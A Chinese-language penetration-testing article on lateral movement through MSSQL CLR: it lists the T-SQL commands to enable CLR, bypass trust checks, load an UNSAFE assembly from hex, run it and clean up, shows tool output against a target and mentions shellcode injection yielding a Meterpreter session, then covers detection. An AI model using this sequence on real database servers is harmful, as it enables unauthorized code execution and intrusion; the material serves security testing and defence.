技术分享:渗透测试中的MSSQL横向活动研究

 

写在前面的话

使用发现的凭证在环境中进行横向移动/渗透是渗透测试团队的共同目标。在时间受限的操作中,快速可靠地使用新获得的一组凭据的这种能力是必不可少的。在这篇文章中,我们将介绍如何通过MSSQL CLR自动进行横向移动/渗透,整个过程中不会接触磁盘,也不需要XP_CMDSHELL。除此之外,我们还会介绍如何防御并检测这种类型的渗透攻击。

不过,SQL Server进程仍会将DLL临时写入磁盘。

利用MSSQL服务的后渗透利用需要通过存储在进程中的XP_CMDSHELL来执行命令,并在MSSQL进程的上下文中执行操作系统命令。为了使用这种技术来执行自定义代码,还需要使用到LOLBINS、添加一个新的操作系统用户或通过BCP向磁盘写入二进制代码,但这样很明显会增加被检测到的机率。

这篇文章中涉及到的工具Squeak可以在获取到:

https://github.com/nccgroup/nccfsas/tree/main/Tools/Squeak

 

关于MSSQL和SQL Server CLR

MSSQL是指微软的SQLServer数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。SQL Server一开始并不是微软自己研发的产品,而是当时为了要和IBM竞争时,与Sybase合作所产生的,其最早的发展者是Sybase,同时微软也和Sybase合作过 SQL Server 4.2版本的研发,微软亦将SQL Server 4.2移植到Windows NT(当时为3.1版),在与Sybase终止合作关系后,自力开发出SQL Server 6.0版,往后的SQL Server即均由微软自行研发。

SQL CLR (SQL Common Language Runtime) 是自 SQL Server 2005 才出现的新功能,它将.NET Framework中的CLR服务注入到 SQL Server 中,让 SQL Server 的部分数据库对象可以使用 .NET Framework 的编程语言开发(只支持VB.NET和C#),包括预存程序、用户自定义函数、触发程序、用户自定义类型以及用户自定义汇总函数等功能。Microsoft SQL Server 2005之后,实现了对 Microsoft .NET Framework 的公共语言运行时(CLR)的集成。CLR 集成使得现在可以使用 .NET Framework 语言编写代码,从而能够在 SQL Server 上运行,现在就可以通过 C# 来编写 SQL Server 自定义函数、存储过程、触发器等。

 

SQL Server CLR整合

SQL Server 2005引入了从MSSQL运行.NET代码的功能,在后续版本中覆盖了各种保护,以限制代码可以访问的内容。权限级别需要在创建时分配给程序集,比如说:

CREATE ASSEMBLY SQLCLRTest
FROM 'C:\MyDBApp\SQLCLRTest.dll'
WITH PERMISSION_SET = SAFE;

在设置权限时有下列三个选项:

1、SAFE:这本质上只向代码公开MSSQL数据集,会禁止大多数其他操作;
2、EXTERNAL_ACCESS:可能允许访问底层服务器上的某些资源,但不允许直接执行代码;
3、UNSAFE:允许执行任何代码;

关于SQL CLR的具体内容,可以参考微软提供的官方文档:

https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration

只需启用CLR即可运行满足标记为“SAFE”要求的代码,但运行“EXTERNAL_ACCESS”或“UNSAFE”代码则需要修改配置以及DBA权限。对于SQL Server 2017前后的服务器版本,运行“UNSAFE” CLR所需的初始步骤有所不同,以下是两者的示例。

SQL Server 2017之前的版本

显示高级选项:

sp_configure 'show advanced options',1;RECONFIGURE

启用CLR:

sp_configure 'clr enabled',1;RECONFIGURE;

配置用于存储程序集的受信数据库:

ALTER DATABASE <CONNECTED DATABASE> SET TRUSTWORTHY ON;

有趣的是,MSDB数据库貌似默认会被授予TRUSTWORTHY权限:

SQL Server 2017以及之后的版本

SQL Server 2017以及之后的版本引入了更加严格的安全机制,但我们仍然可以禁用它们。不过,我们还可以根据单个程序集的SHA512哈希来专门向其提供“UNSAFE”权限,而不需要将整个数据库标记为受信任。对于SQL Server 2017及更高版本,配置流程如下。

显示高级选项:

sp_configure 'show advanced options',1;RECONFIGURE

启用CLR:

sp_configure 'clr enabled',1;RECONFIGURE;

将程序集的SHA512哈希添加到受信程序集列表中:

sp_add_trusted_assembly @hash= <SHA512 of DLL>;

从这一点来看,对于任何SQL Server版本,程序集的创建和调用都是相同的。从十六进制字符串创建程序集–从十六进制字符串创建程序集的功能意味着无需创建二进制文件并将其写入SQL server进程可访问的位置:

CREATE ASSEMBLY clrassem from <HEX STRING> WITH PERMISSION_SET = UNSAFE;

创建存储进程并从程序集运行代码:

CREATE PROCEDURE debugrun AS EXTERNAL NAME clrassem.StoredProcedures.runner;

运行存储进程:

debugrun

代码运行后,存储进程和程序集就可以被删除了,移除受信哈希,并且可以将任何修改的安全设置恢复到正常状态。下面显示了实现这一点的SQL查询示例,但应该注意的是,这里并没有考虑安全设置的初始配置。

对于SQL Server 2017以及之后的版本:

sp_drop_trusted_assembly @hash=<SHA512 of DLL>

SQL Server 2017之前的版本:

ALTER DATABASE <CONNECTED DATABASE> SET TRUSTWORTHY OFF;

所有版本:

DROP PROCEDURE debugrun;
DROP ASSEMBLY clrassem;
sp_configure 'clr strict security',1;RECONFIGURE
sp_configure 'show advanced options',0;RECONFIGURE

此时,SQL Server进程正在执行提供给它的任何.NET代码,因此利用它进行横向移动只需要构造适当的DLL即可。在PoC中,生成了一个简单的程序集,该程序集会对一些shellcode进行异或运算,并将其注入到派生的进程中。

为了简化CLR代码的创建和调用,我们将利用GUI应用程序执行以下操作:

1、收集连接字符串数据;
2、从原始二进制文件读入shellcode字节和单字节异或;
3、生成一个MSSQL CLR DLL,该DLL会对shellcode进行异或,然后生成一个新进程并将shellcode注入其中;
4、计算DLL的SHA512哈希;
5、生成一个带有硬编码参数的.NET可执行文件,以通过SQL连接执行DLL–其中的可执行文件将执行以下操作:

(1)创建一个SQL连接
(2)检测SQL Server版本
(3)检测DBA权限
(4)检测并记录现有的安全设置
(5)修改安全设置
(6)创建并运行程序集
(7)恢复安全设置并删除程序集

下图显示了生成嵌入连接字符串和CLR程序集的独立可执行文件的过程:

CLR程序集的代码是从工作目录中的文件加载的,该文件可以直接打开,也可以在工具中编辑。该工具提供了示例代码,但尚未优化以避免检测。

生成的可执行文件可以针对目标运行,而无需任何参数:

C:\Users\user\Desktop>latmovemssqloutput.exe

Running with settings:
Server: 192.168.49.150
Port: 55286
Database: msdb

User: dave
Connection Open !

Microsoft SQL Server 2012 - 11.0.2100.60 (Intel X86)
Feb 10 2012 19:13:17
Copyright (c) Microsoft Corporation
Express Edition on Windows NT 6.2 <X64> (Build 9200: ) (WOW64) (Hypervisor)

Checking for DBA Privs
┌─┐
│1│
└─┘

Got DBA Privs!
Checking whether Advanced Options are already on.
│show advanced options│ 0│ 1│ 0│ 0│

Enabling advanced options
SQL Server is lower than 2017.
Checking CLR status
┌───────────────────────────────────────────────────────────┐
│clr enabled│ 0│ 1│ 1│ 1│
└───────────────────────────────────────────────────────────┘

CLR already enabled
Dropping any existing assemblies and procedures
SQL version is lower than 2017, checking whether trustworthy is enabled on the connected DB:
┌────┐
│True│
└────┘

Creating the assembly
Creating the stored procedure
Running the stored procedure.
Sleeping before cleanup for: 5

Cleanup
Dropping procedure and assembly
Disabling advanced options again
Cleaned up… all done.

此时,shellcode已经运行,在这个实例中会建立一个Meterpreter会话,但很明显这里可以执行任意的shellcode:

上述PoC代码已在下列SQL Server版本中进行了测试:

Microsoft SQL Server 2019 (RTM) – 15.0.2000.5 (X64)
Microsoft SQL Server 2017 (RTM) – 14.0.1000.169 (X64)
Microsoft SQL Server 2012 – 11.0.2100.60 (Intel X86)

 

检测和响应

针对这种渗透技术,我们应尽可能减少数据库凭据的暴露,并对SQL登录应用进行适当的权限管理,这样将减少他人利用协议在底层操作系统上执行代码的风险。

如果无法做到上述的工作,我们还有很多其他的方法来检测这种类型的横向移动/渗透:

1、监控异常的SQL Server登录行为;
2、对可疑事务(如“创建程序集”)或SQL查询链的任何其他部分进行安全审计;
3、监控DLL本身执行的操作,比如说.NET中的CreateRemoteThread调用可能会触发检测;

通过SQL命令调用程序集的过程也会导致几个名称不同的相同文件被写入SQL服务帐户的临时目录。下面的Procmon屏幕截图显示了正在创建的文件和正在向其中写入的.NET代码:

我们还可以通过调整文件权限以防止从C:\Windows\Temp\目录中删除文件,并在sqlservr.exe进程删除该文件之前检索该文件的副本。接下来,我们就可以通过反编译来显示出原始代码了:

这样一来,我们就可以给静态检测恶意内容提供了额外的机会,尽管在程序集执行后证据会很快被删除。

(完)